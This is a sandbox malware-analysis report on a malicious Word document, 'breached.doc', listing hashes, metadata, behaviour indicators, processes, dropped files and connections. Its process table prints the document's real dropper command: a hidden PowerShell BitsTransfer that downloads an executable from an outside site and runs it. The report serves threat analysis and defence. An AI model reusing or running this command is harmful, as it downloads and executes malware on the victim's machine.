| File name: | breached.doc |
| Full analysis: | https://app.any.run/tasks/a337221f-1e86-40bb-b81b-db7fb924014d |
| Verdict: | Malicious activity |
| Analysis date: | November 18, 2023, 20:59:55 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: Admin, Template: Normal, Last Saved By: user1, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Jul 5 07:20:00 2021, Last Saved Time/Date: Mon Jul 5 07:20:00 2021, Number of Pages: 2, Number of Words: 475, Number of Characters: 2713, Security: 0 |
| MD5: | 333796E18EB3F3D1529D07EC90C63E61 |
| SHA1: | 051F30587F7AB8101602B40748F7F21FAC21658A |
| SHA256: | 0BE1801A6C5CA473E2563B6B77E76167D88828E1347DB4215B7A83E161DAE67F |
| SSDEEP: | 192:EllllW+4olxKHXM7kVq3zAj8ZOALaBRPegWEI/HalG1D8BYyCqV3rnPVOfloYFI1:VEXkwFS83ClGx8RgSY2rv90jHalaQ |
MALICIOUS
Unusual execution from MS Office
- WINWORD.EXE (PID: 3448)
Microsoft Office executes commands via PowerShell or Cmd
- WINWORD.EXE (PID: 3448)
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 3448)
Probably downloads file via BitsAdmin
- powershell.exe (PID: 3504)
SUSPICIOUS
Executing commands from a ".bat" file
- WINWORD.EXE (PID: 3448)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 3544)
Powershell version downgrade attack
- powershell.exe (PID: 3504)
INFO
Manual execution by a user
- explorer.exe (PID: 3632)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Identification: | Word 8.0 |
|---|---|
| LanguageCode: | English (US) |
| DocFlags: | 1Table, ExtChar |
| System: | Windows |
| Word97: | No |
| Title: | - |
| Subject: | - |
| Author: | Admin |
| Keywords: | - |
| Template: | Normal |
| LastModifiedBy: | user1 |
| Software: | Microsoft Office Word |
| CreateDate: | 2021:07:05 06:20:00 |
| ModifyDate: | 2021:07:05 06:20:00 |
| Security: | None |
| CodePage: | Unicode (UTF-8) |
| Company: | HP |
| CharCountWithSpaces: | 3182 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
| LastPrinted: | 0000:00:00 00:00:00 |
| RevisionNumber: | 2 |
| TotalEditTime: | - |
| Words: | 475 |
| Characters: | 2713 |
| Pages: | 2 |
| Paragraphs: | 6 |
| Lines: | 22 |
Total processes
39
Monitored processes
4
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 3448 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\breached.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3504 | powershell -w h Start-BitsTransfer -Source http://1221.site/15858415841/0407.exe -Destination C:\Users\Public\Documents\carsound.exe;C:\Users\Public\Documents\carsound.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 4294770688 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3544 | C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\getmeeting.bat" " | C:\Windows\System32\cmd.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 4294770688 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3632 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
3 611
Read events
3 113
Write events
371
Delete events
127
Modification events
| (PID) Process: | (3448) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3448) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: On | |||
| (PID) Process: | (3448) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: On | |||
| (PID) Process: | (3448) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: On | |||
| (PID) Process: | (3448) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: On | |||
| (PID) Process: | (3448) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: On | |||
| (PID) Process: | (3448) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: On | |||
| (PID) Process: | (3448) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: On | |||
| (PID) Process: | (3448) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: On | |||
| (PID) Process: | (3448) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1055 |
Value: On | |||
Executable files
0
Suspicious files
5
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3448 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR6F0A.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3448 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$eached.doc | binary | |
MD5:DA28DA82D372C9597C59F6EEDE24A155 | SHA256:4C70F30EC20DC7C866FEF7E5F56327389DDCD40C7486911EB2389992CFCE66A5 | |||
| 3448 | WINWORD.EXE | C:\Users\Public\Documents\getmeeting.bat | text | |
MD5:C0C3E4A163CF14BE1D6D9B33E09D107B | SHA256:F39014ECD8B825027BF3D462EA1C553ACBCC20293575D29A31B3B0DC452793FE | |||
| 3504 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:C681106A4168B935996B10134404F885 | SHA256:89AB4ECFBB5C1FD07CF99465E36B1A08F51E2512AA60DDD616D4A37753FC112D | |||
| 3504 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SPNZB0BBKPIFOYAYJXIZ.temp | binary | |
MD5:C681106A4168B935996B10134404F885 | SHA256:89AB4ECFBB5C1FD07CF99465E36B1A08F51E2512AA60DDD616D4A37753FC112D | |||
| 3448 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | binary | |
MD5:D56120E5816A000DACFEAC618FAAD0C1 | SHA256:A303FD47E15DB07A0EA0D8255874D06350E217A289CDBF195825DD4DBCB33883 | |||
| 3504 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF167321.TMP | binary | |
MD5:C681106A4168B935996B10134404F885 | SHA256:89AB4ECFBB5C1FD07CF99465E36B1A08F51E2512AA60DDD616D4A37753FC112D | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
4
DNS requests
0
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2588 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1080 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |